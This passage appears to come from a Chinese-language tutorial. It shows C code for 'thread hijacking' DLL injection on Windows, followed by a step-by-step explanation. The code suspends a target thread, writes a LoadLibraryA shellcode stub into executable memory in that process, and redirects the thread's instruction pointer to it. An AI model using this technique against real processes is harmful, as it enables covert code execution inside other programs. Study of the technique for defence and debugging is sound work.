ctx.ContextFlags = CONTEXT_ALL;
//打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hProcess)
{
return;
}
//SHELLCODE
char szCode[] =
{
0x68, 0x00,0x00,0x00,0x00, //PUSH RETADDR
0x60, //PUSHAD
0x9C, //PUSHFD
0x68, 0x00,0x00,0x00,0x00, //PUSH DLLPATH
0xB8, 0x00,0x00,0x00,0x00, //MOV EAX, LoadLibraryA
0xFF, 0xD0, //CALL EAX
0x9D, //POPFD
0x61, //POPAD
0xC3 //RET
};
//申请内存
pData = (PCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pData)
{
return;
}
//写入DllPath
WriteProcessMemory(hProcess, pData + sizeof(szCode), DllName, strlen(DllName) + 1, NULL);
//遍历注入进程中的项
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnap == INVALID_HANDLE_VALUE)
{
return;
}
if (Thread32First(hSnap,&te32))
{
do
{
if (te32.th32OwnerProcessID == dwPid)
{
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread)
{
break;
}
}
} while (Thread32Next(hSnap, &te32));
}
if (!hThread)
{
return;
}
//挂起线程
SuspendThread(hThread);
//获取线程上下文
GetThreadContext(hThread, &ctx);
//修正返回地址
*(LPDWORD)&szCode[1] = ctx.Eip;
//修正函数参数
*(LPDWORD)&szCode[8] = (DWORD)(pData + sizeof(szCode));
//修正函数地址
*(LPDWORD)&szCode[13] = (DWORD)LoadLibraryA;
//写入构建代码
WriteProcessMemory(hProcess, pData, szCode, sizeof(szCode), NULL);
ctx.Eip = (DWORD)pData;
//设置线程上下文
SetThreadContext(hThread, &ctx);
//恢复线程
ResumeThread(hThread);
}
这段代码实现了一个叫做“劫持线程注入”的技术,主要用于将DLL注入到指定进程的某个线程中。具体步骤包括获取目标线程、暂停线程执行、修改线程的执行上下文以执行自定义shellcode,然后恢复线程执行。以下是该函数的详细解释:
劫持线程注入过程
打开目标进程:
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
使用`OpenProcess`函数获取目标进程的句柄,以便进行后续的内存操作和线程控制。`PROCESS_ALL_ACCESS`标志表示请求最高级别的进程访问权限。
申请内存:
pData = (PCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
在目标进程中申请内存空间,用于存放将要注入的shellcode。这里申请的空间大小为0x1000字节,并设置权限为可执行、可读写。
写入DLL路径:
WriteProcessMemory(hProcess, pData + sizeof(szCode), DllName, strlen(DllName) + 1, NULL);
将DLL的路径字符串写入刚刚申请的内存中,位于shellcode之后。
遍历目标进程的线程:
hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (Thread32First(hSnap, &te32)) {
do {
if (te32.th32OwnerProcessID == dwPid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread) {
break;
}
}
} while (Thread32Next(hSnap, &te32));
}
使用`CreateToolhelp32Snapshot`创建线程快照,然后遍历找到属于目标进程的线程,并尝试打开线程句柄。
挂起线程:
SuspendThread(hThread);
暂停目标线程的执行,以便安全修改其执行上下文。
获取线程上下文:
GetThreadContext(hThread, &ctx);
获取目标线程当前的上下文,主要是为了获取当前的指令指针(`EIP`)。
准备并注入shellcode
- 修正shellcode中的地址和参数,包括返回地址、DLL路径和
LoadLibraryA
函数地址。 - 将shellcode写入之前申请的内存中。
设置线程上下文:
ctx.Eip = (DWORD)pData;
SetThreadContext(hThread, &ctx);
修改线程的指令指针,使其指向注入的shellcode,然后更新线程上下文。
恢复线程:
ResumeThread(hThread);
恢复线程的执行。此时,线程会从新设置的指令指针处开始执行,即执行shellcode。